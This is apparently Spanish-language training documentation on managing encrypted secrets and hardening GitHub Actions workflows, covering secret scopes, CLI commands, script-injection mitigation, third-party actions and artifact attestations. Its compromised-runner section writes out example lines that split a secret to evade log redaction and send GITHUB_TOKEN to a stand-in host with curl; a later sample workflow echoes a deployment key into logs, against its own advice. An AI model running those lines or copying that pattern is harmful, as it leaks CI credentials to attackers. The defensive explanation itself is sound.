Administrar los secretos cifrados
Los secretos son variables de entorno cifradas que almacenan tokens, credenciales y otra información confidencial. Los flujos de trabajo y las acciones de Acciones de GitHub pueden usar estos secretos cuando sea necesario. Una vez creados, los secretos se vuelven accesibles para los flujos de trabajo y las acciones que tienen permiso para acceder a la organización, el repositorio o el entorno donde se definen los secretos.
En esta sección se explica cómo administrar secretos cifrados mediante herramientas y estrategias en GitHub Enterprise Cloud y GitHub Enterprise Server. También aprenderá a usar estos secretos dentro de los flujos de trabajo y las acciones.
Administración de secretos cifrados en la empresa
Acciones de GitHub le permite almacenar y usar datos confidenciales de forma segura, como claves de API, tokens de autenticación, contraseñas y certificados, a través de secretos cifrados. Estos secretos se almacenan e insertan de forma segura en los flujos de trabajo. Este diseño garantiza que no aparezcan en los registros ni en el código fuente.
En un entorno empresarial, la administración eficaz de secretos es fundamental. Ayuda a mantener la seguridad, cumplir los requisitos de cumplimiento y admitir la eficiencia operativa. GitHub permite administrar secretos en cuatro niveles: empresa, organización, repositorio y entorno.
Ámbito de los secretos cifrados
Comprender el ámbito de los secretos es esencial para administrarlos de forma segura en un entorno empresarial.
| Nivel de secreto | Ámbito | Quién puede acceder | Casos de uso comunes |
|---|---|---|---|
| Secretos deEnterprise-Level | Se aplica a todos los repositorios de una organización de GitHub Enterprise Cloud. | Propietarios de empresas, administradores de seguridad | Comparta credenciales en varios repositorios. |
| Secretos deOrganization-Level | Aplique a todos los repositorios de una organización; opcionalmente, limite a repositorios seleccionados. | Propietarios de la organización, administradores de seguridad | Acceda a los servicios en la nube y bases de datos compartidas. |
| Secretos deRepository-Level | Solo se aplica a un único repositorio. | Administradores de repositorios, ejecutores de flujos de trabajo | Proteja las credenciales para la implementación en un repositorio. |
| Secretos deEnvironment-Level | Se aplica a entornos de implementación específicos dentro de un repositorio, como almacenamiento provisional o producción. | Ejecutores de flujo de trabajo en el entorno especificado | Separe las credenciales por entorno de implementación. |
Consideraciones clave:
- Los secretos empresariales son exclusivos de GitHub Enterprise Cloud y admiten la administración centralizada en toda una organización.
- Los secretos de la organización ofrecen control de acceso específico y se pueden limitar a repositorios específicos.
- Los secretos del entorno ayudan a evitar la exposición involuntaria al restringir el acceso a los entornos de flujo de trabajo.
Administración de secretos cifrados de la organización
La creación de secretos cifrados en el nivel de la organización ayuda a proteger la información confidencial al tiempo que reduce el esfuerzo necesario para administrar secretos en varios repositorios.
Por ejemplo, algunos desarrolladores que escriben flujos de trabajo en la organización de GitHub necesitan las credenciales para implementar el código en producción en algunos de sus flujos de trabajo. Para evitar compartir esta información confidencial, puede crear un secreto cifrado que contenga las credenciales en la organización. De este modo, las credenciales se pueden usar en los flujos de trabajo sin exponerse.
Para crear un secreto en el nivel de organización, vaya a configuración de la organización y, en la barra lateral, seleccione Secretos y variables > Acciones > Nuevo secreto de la organización. En la pantalla que aparece, escriba un nombre y un valor y elija una directiva de acceso al repositorio para el secreto:
Una vez guardada, la directiva de acceso se muestra debajo del secreto de la lista:
Puede seleccionar Actualizar para obtener más detalles sobre los permisos configurados para el secreto.
Administración de secretos cifrados Organization-Level a través de la CLI de GitHub
- Cree un secreto para una organización:
gh secret set SECRET_NAME --org my-org --body "super-secret-value" - Enumerar todos los secretos de la organización:
gh secret list --org my-org - Actualice un secreto existente:
gh secret set SECRET_NAME --org my-org --body "new-secret-value" - Eliminar un secreto:
gh secret delete SECRET_NAME --org my-org
Consideraciones de seguridad para los secretos de la organización
- Restrinja los secretos a repositorios específicos en lugar de conceder acceso a todos los repositorios de manera predeterminada.
- Implemente el control de acceso basado en roles (RBAC) para asegurarse de que solo los miembros autorizados del equipo puedan crear, actualizar o eliminar secretos.
- Supervise los registros de acceso periódicamente para identificar y responder al uso no autorizado o a actividades sospechosas.
Administración de secretos cifrados en el nivel de repositorio
Para limitar un secreto a un repositorio específico, use GitHub Enterprise Cloud o GitHub Enterprise Server.
Creación de un secreto de nivel de repositorio
- Vaya a la Configuración del repositorio.
- SeleccioneSecretos y variables > Acciones y, a continuación, Nuevo secreto de repositorio.
- Escriba un nombre y un valor para el secreto.
Administración de secretos cifrados de nivel de repositorio a través de la CLI
Enumerar secretos del repositorio:
gh secret list --repo my-repoActualizar un secreto de repositorio:
gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"Elimine un secreto de repositorio:
gh secret delete SECRET_NAME --repo my-repo
Acceso a secretos cifrados en acciones y flujos de trabajo
En flujos de trabajo
Acceda a los secretos mediante el contexto secrets. Use with para pasar el secreto como entrada o env para establecerlo como una variable de entorno.
steps:
- name: Hello world action
uses: actions/hello-world@v1
with:
# Pass the secret as an input to the action
super_secret: ${{ secrets.SuperSecret }}
env:
# Set the secret as an environment variable
super_secret: ${{ secrets.SuperSecret }}
Use
with:Pasar el secreto como parámetro de entrada a la acción. Este método se usa normalmente cuando la acción define explícitamente entradas en suaction.yml.Use
env:Exponga el secreto como una variable de entorno al paso. Este enfoque es útil cuando el comando del paso o un script dentro de la acción espera una variable de entorno.
En acciones
Para usar secretos dentro de una acción personalizada, defínalos como entradas en el archivo de metadatos action.yml y acceda a ellos como variables de entorno en el código de acción.
inputs:
super_secret:
description: 'My secret token'
required: true
// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');
Defina en
action.yml:Especificar el secreto como entrada obligatoria u opcional.Acceda en el código:Leer el secreto mediante el Kit de herramientas de acciones (recomendado) o haciendo referencia a las variables de entorno si se establecen.
Advertencia
Evite codificar los secretos de forma rígida en el código fuente de la acción. Para administrar de forma segura las entradas y secretos, use Actions Toolkit para gestionar los valores dentro de la lógica del código.
Configuración de la protección de seguridad para Acciones de GitHub
La protección de seguridad para Acciones de GitHub desempeña un papel en mantener la cadena de suministro de software segura. Las secciones siguientes le guiarán por los procedimientos recomendados para reforzar la seguridad de las acciones que usa en los flujos de trabajo.
Identificación de los procedimientos recomendados para mitigar los ataques de inyección de scripts
Algunos procedimientos recomendados para mitigar los ataques de inyección de scripts en Acciones de GitHub incluyen:
Usar acciones de Javascript en lugar de scripts insertados: use acciones de Javascript que acepten valores de contexto como argumentos en lugar de insertar esos valores en scripts insertados. Este enfoque reduce el riesgo de inyección de scripts porque los datos de contexto no se usan para generar o ejecutar comandos de shell directamente.
Pasar una variable como entrada a una acción de JavaScript ayuda a evitar que se use en un ataque de inyección de scripts.
uses: fakeaction/checktitle@v3 with: title: ${{ github.event.pull_request.title }}Usar variables de entorno intermedias en scripts insertados: al usar scripts insertados, evalúe las variables como variables de entorno antes de usarlas en comandos. Este enfoque garantiza que los valores se resuelvan antes de que se ejecute el script, lo que reduce el riesgo de inyección de scripts. Por ejemplo, el uso de
github.event.pull_request.titlecomo variable de entorno ayuda a proteger frente a vulnerabilidades de inyección:- name: Check PR title env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi
Aproveche las plantillas de flujo de trabajo para implementar el análisis de código: vaya a la pestaña Acciones del repositorio y seleccione el botón Nuevo flujo de trabajo en el panel izquierdo. En la página Elegir un flujo de trabajo, busque la sección Seguridad para acceder a las plantillas de flujo de trabajo y aplicarlas.
Configure el analizador de CodeQL para que se ejecute en eventos específicos, lo que le permite examinar los archivos de una rama y marcar las exposiciones CWE (Enumeraciones de debilidad comunes) en las acciones que se usan en los flujos de trabajo, incluidas vulnerabilidades como la inyección de scripts.
Restringir permisos para tokens: asegúrese de que siempre aplica la
rule of least privilegeal token creado. En otras palabras, asegúrese de que el token tiene asignados los privilegios mínimos para lograr la tarea para la que se creó.
Procedimientos recomendados para usar acciones de terceros de forma segura
Siga estos procedimientos recomendados para incorporar de forma segura acciones de terceros en los flujos de trabajo:
Ancle acciones a una etiqueta solo si el autor es de confianza: use etiquetas de versión como
v1ov2, solo cuando el autor de la acción esté comprobado y sea de confianza. Esta acción ayuda a reducir el riesgo de cambios inesperados en futuras versiones.- name: Checkout uses: actions/checkout@v4 # Pinned to a specific version tagPrefiere anclar acciones a un anclaje completo de SHA de confirmación a una confirmación completa SHA garantiza que está usando una versión inmutable de la acción. Compruebe siempre que la confirmación SHA proceda del repositorio esperado.
- name: Checkout uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2 # Pinned to a specific commit SHAAudite el código fuente de la acción: revise el origen de la acción para confirmar que controla los datos de forma segura y no incluye un comportamiento inesperado o malintencionado.
Indicadores de una acción de terceros de confianza
Use acciones de confianza para reducir el riesgo en los flujos de trabajo.
Busque el distintivo Comprobado: las acciones de confianza aparecen en GitHub Marketplace y muestran un distintivo de Creador comprobado junto al título que le informa de que GitHub ha comprobado al creador.
Comprobar documentación: el archivo
action.ymldebe estar bien documentado y describir claramente cómo funciona la acción.
Uso de las actualizaciones de la versión de Dependabot para mantener actualizadas las acciones
Habilite las actualizaciones de la versión de Dependabot para mantener automáticamente las dependencias de Acciones de GitHub actuales y seguras.
Impacto potencial de un ejecutor en peligro
En esta sección se describen los posibles vectores de ataque que se podrían aprovechar si un ejecutor está en peligro.
Filtración de datos de un ejecutor
Aunque Acciones de GitHub redacta automáticamente los secretos de los registros, esta redacción no es un límite de seguridad completo. Si un ejecutor está en peligro, un atacante puede exponer los secretos intencionadamente imprimiendolos en el registro. Por ejemplo:
echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}
Un ejecutor en peligro también se puede usar para reenviar secretos u otros datos de repositorio confidenciales a un servidor externo mediante solicitudes HTTP con scripts.
Acceso a secretos
Los flujos de trabajo desencadenados desde repositorios bifurcados mediante el evento pull_request tienen permisos de solo lectura y no pueden acceder a los secretos. Sin embargo, los permisos varían en función del tipo de evento, como issue_comment, issues, push o pull_request desde una rama dentro del mismo repositorio. Si un ejecutor está en peligro, existe el riesgo de que los secretos del repositorio se puedan exponer o de que los trabajos con permisos de GITHUB_TOKEN escritura se puedan usar incorrectamente.
- Si se asigna un secreto o token a una variable de entorno, se puede tener acceso directamente mediante
printenv. - Si se hace referencia a un secreto directamente en una expresión, el script de shell generado que contiene el valor resuelto se almacena en el disco y puede ser accesible.
- En el caso de las acciones personalizadas, el nivel de riesgo depende de cómo se controla el secreto dentro de la lógica de la acción. Por ejemplo:
uses: exampleaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Aunque Acciones de GitHub quita secretos de la memoria si no se hace referencia a ellos en el flujo de trabajo o las acciones incluidas, y GITHUB_TOKEN los secretos usados activamente permanecen en riesgo de ser recopilados si el ejecutor está en peligro.
Robar un trabajo GITHUB_TOKEN
Es posible que un atacante pueda robar el trabajo. GITHUB_TOKEN Acciones de GitHub proporciona automáticamente este token con permisos con ámbito limitados al repositorio que ejecuta el flujo de trabajo. El token expira una vez completado el trabajo y no se puede reutilizar después.
Sin embargo, se puede usar un ejecutor en peligro para filtrar el token inmediatamente durante la ejecución del trabajo. Un atacante puede automatizar una solicitud a un servidor que controla para capturar el token antes de que expire. Por ejemplo:
curl http://example.com?token=$GITHUB_TOKEN
Modificación del contenido del repositorio
Si se roba un GITHUB_TOKEN, un sistema controlado por el atacante puede usarlo para llamar a la API de GitHub y modificar el contenido del repositorio.
Aplicar el principio de privilegios mínimos a los permisos del token ayuda a reducir este riesgo. Limite el acceso del token solo a lo necesario para el trabajo.
Administración del acceso entre repositorios
Cuando los flujos de trabajo requieren acceso a varios repositorios, es importante elegir credenciales que minimicen los riesgos de seguridad. Algunas de las opciones recomendadas que se enumeran de las más preferidas a las menos preferidas son:
GITHUB_TOKENGitHub genera automáticamente el
GITHUB_TOKENpara cada ejecución de flujo de trabajo. Se limita al repositorio único que desencadena el flujo de trabajo y proporciona permisos equivalentes a un usuario con acceso de escritura en ese repositorio. El token se crea al principio de cada trabajo y expira cuando se completa el trabajo.Use siempre que sea posible para la
GITHUB_TOKENautenticación segura y con ámbito. Para más información, consulte Autenticación automática de tokens.Clave de implementación del repositorio
Para clonar o insertar mediante Git en flujos de trabajo, use las claves de implementación que proporcionan acceso de lectura o escritura a un único repositorio.
Sin embargo, las claves de implementación no admiten el acceso a las API de REST o GraphQL de GitHub. Úselos solo cuando no sea necesario el acceso a la API y el acceso a Git sea suficiente.
Tokens de aplicación de GitHub
Las aplicaciones de GitHub ofrecen personalización avanzada de permisos y se pueden instalar en repositorios seleccionados. Puede crear una aplicación de GitHub interna, instalarla en los repositorios necesarios y autenticarla como la instalación de la aplicación dentro del flujo de trabajo para acceder a esos repositorios.
Este enfoque proporciona un mejor control de acceso y auditoría en comparación con los tokens personales.
Tokens de acceso personal (PAT)
Evite usar tokens de acceso personal clásicos en flujos de trabajo. Estos tokens conceden acceso amplio a todos los repositorios personales y organizativos asociados al usuario, lo que presenta un riesgo significativo. Si el flujo de trabajo se ejecuta en un repositorio con varios colaboradores, todos los usuarios con acceso de escritura heredan efectivamente los privilegios del token.
Si debe usar un token personal, cree un PAT de personalización avanzada específico vinculado a una cuenta de organización dedicada. Restrinja su acceso solo a los repositorios específicos requeridos por el flujo de trabajo.
Nota:
Este enfoque es difícil de escalar y es mejor evitarlo para favorecer la implementación de claves o aplicaciones de GitHub.
Claves SSH en cuentas personales
Nunca use claves SSH de cuentas personales en flujos de trabajo. Al igual que las PAT clásicas, conceden acceso a todos los repositorios asociados a la cuenta, incluidos los repositorios personales y organizativos. Este error expone los flujos de trabajo a riesgos innecesarios.
Si el caso de uso implica clonar o insertar mediante Git, considere la posibilidad de usar claves de implementación en su lugar. Proporcionan acceso con ámbito sin exponer repositorios no relacionados ni requerir credenciales personales.
Auditar eventos de Acciones de GitHub
El tipo de acción, cuando se ejecutó y qué cuenta personal realizó la acción se registran en el "registro de seguridad" y el "registro de auditoría". El "registro de seguridad" registra los eventos relacionados con la cuenta de usuario. El "registro de auditoría" registra eventos relacionados con su organización. Por lo tanto, para ver ambos registros, puede auditar eventos relacionados con Acciones de Github.
Uso de OIDC con Acciones de GitHub
Puede configurar flujos de trabajo para autenticarse directamente con un proveedor de nube mediante OIDC (OpenID Connect). En este caso, ya no es necesario almacenar credenciales como secretos.
Atestaciones de artefacto para Acciones de GitHub
Las atestaciones de artefactos ayudan a establecer la procedencia de las compilaciones, mejorando la seguridad de la cadena de suministro de software y comprobando lo que se creó, dónde y cómo.
Qué atestiguar
Con Acciones de GitHub, puede atestiguar la procedencia y SBOM (Lista de materiales de software) para archivos binarios e imágenes de contenedor.
Generación de atestaciones de artefactos para compilaciones
Al generar una atestación de artefacto para las compilaciones, debe asegurarse de que:
- Tiene los permisos adecuados configurados en el flujo de trabajo
- Ha incluido un paso en el flujo de trabajo que usa la acción attest-build-provenance.
La atestación establece la procedencia de la compilación. Puede ver las atestaciones en la pestaña Acciones del repositorio.
Generación de una atestación para la procedencia de compilación de archivos binarios
Debe agregar los permisos siguientes al flujo de trabajo que compila el binario para el que pretende atestiguar:
permissions: id-token: write contents: read attestations: writeDebe agregar el paso siguiente después del paso donde se compila el archivo binario:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-path: 'PATH/TO/ARTIFACT'
Nota:
Tenga en cuenta que el valor del subject-path parámetro se establece en la ruta de acceso del binario que atesta.
Generación de una atestación para la procedencia de compilación de imágenes de contenedor
Agregue los permisos siguientes al flujo de trabajo que compila la imagen de contenedor:
permissions: id-token: write contents: read attestations: write packages: writeAgregue este paso después de compilar la imagen del contenedor:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} subject-digest: 'sha256:fedcba0...' push-to-registry: trueNota:
- El valor
subject-namedebe ser un nombre de imagen completo, comoghcr.io/user/appoacme.azurecr.io/user/app. No incluya una etiqueta. subject-digestdebe ser una síntesis SHA256 de la imagen, con el formatosha256:HEX_DIGEST.- Si el flujo de trabajo usa
docker/build-push-action, puede recuperar el resumen de su salida. Para obtener más información, consulte Sintaxis del flujo de trabajo para Acciones de GitHub.
- El valor
Generación de atestaciones para SBOM
Tiene la capacidad de generar atestaciones SBOM para un SBOM. Para generar y atestiguar un SBOM, debe llevar a cabo los pasos siguientes:
- Asegúrese de establecer los permisos adecuados en el flujo de trabajo, como se muestra en los ejemplos.
- Debe generar un SBOM para el artefacto en un paso del flujo de trabajo. Para obtener un ejemplo, consulte anchore-sbom-action en el Marketplace de GitHub.
- Incluya un paso en el flujo de trabajo que use la acción attest-sbom (consulte los ejemplos siguientes)
Generación de una atestación SBOM para archivos binarios
Agregue los permisos siguientes al flujo de trabajo que compila el binario para el que generará una atestación SBOM:
permissions: id-token: write contents: read attestations: writeAgregue el paso siguiente después de los pasos en los que se compila el archivo binario y se genera SBOM:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-path: 'PATH/TO/ARTIFACT' sbom-path: 'PATH/TO/SBOM'
Tenga en cuenta que el valor del parámetro subject-path debe establecerse en la ruta de acceso del binario que describe SBOM. El valor del parámetro sbom-path debe establecerse en la ruta de acceso del archivo SBOM que generó.
Generación de una atestación SBOM para las imágenes del contenedor
Debe agregar los permisos siguientes al flujo de trabajo que compila el binario para el que generará una atestación SBOM:
permissions: id-token: write contents: read attestations: write packages: writeDebe agregar el paso siguiente después de los pasos en los que se compila el archivo binario y se genera SBOM:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE subject-digest: 'sha256:fedcba0...' sbom-path: 'sbom.json' push-to-registry: true
Tenga en cuenta que el valor del parámetro subject-name especifica el nombre de imagen completo. Por ejemplo, ghcr.io/user/app o acme.azurecr.io/user/app. No incluya una etiqueta como parte del nombre de la imagen.
El valor del subject-digest parámetro debe establecerse en el SHA256 resumen del asunto de la atestación, en el formato sha256:HEX_DIGEST. Si el flujo de trabajo usa docker/build-push-action, puede usar la salida implícita de ese paso para proporcionar el valor (consulte build-push-action). Para obtener más información sobre el uso de salidas, consulte Sintaxis del flujo de trabajo para Acciones de GitHub.
El valor del parámetro sbom-path debe establecerse en la ruta de acceso al archivo SBOM con formato JSON para el que pretende atestiguar.
Comprobación de las atestaciones de artefactos con la CLI de GitHub
Puede validar las atestaciones de artefacto descritas anteriormente mediante la CLI de GitHub. Para más información, consulte la sección de atestación del manual de la CLI de GitHub.
Advertencia
Es importante recordar que las atestaciones de artefactos no son una garantía de que un artefacto sea seguro. En su lugar, las atestaciones de artefactos le vinculan al código fuente y las instrucciones de compilación que las generaron. Es su responsabilidad definir los criterios de la directiva, evaluar esa directiva mediante la evaluación del contenido y tomar una decisión de riesgo informada al consumir software.
Acceso a secretos cifrados en acciones y flujos de trabajo
Ejemplo: Uso de un secreto en un flujo de trabajo
name: Deploy Application
on:
push:
branches:
- main
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Use secret in a script
run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"
Procedimientos recomendados para usar secretos en los flujos de trabajo
- No imprima secretos en los registros mediante
echo ${{ secrets.SECRET_NAME }}. - Use secretos dentro de comandos de script, en lugar de asignarlos a variables de entorno.
- Limite el acceso definiendo secretos en el nivel más bajo necesario.
- Renueve los secretos periódicamente y actualice los flujos de trabajo en consecuencia.
Uso de almacenes de terceros
Muchas empresas integran Acciones de GitHub con soluciones de administración de secretos externos como HashiCorp Vault, AWS Secrets Manager y Azure Key Vault.
1. HashiCorp Vault
- name: Fetch secret from Vault
id: vault
uses: hashicorp/vault-action@v2
with:
url: https://vault.example.com
token: ${{ secrets.VAULT_TOKEN }}
secret: secret/data/github/my-secret
2. Administrador de secretos de AWS (Amazon Web Services)
- name: Retrieve AWS Secret
run: |
SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV
3. Azure Key Vault
- name: Retrieve Azure Secret
uses: Azure/get-keyvault-secrets@v1
with:
keyvault: "my-keyvault"
secrets: "my-secret"
azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}
Ventajas del uso de almacenes de terceros
- La administración centralizada de secretos reduce los riesgos de seguridad.
- La rotación automatizada de secretos ayuda a cumplir las directivas de seguridad.
- Los registros de auditoría y el control de acceso mejoran la supervisión de la seguridad.
- El acceso con privilegios mínimos impide el uso no autorizado de secretos.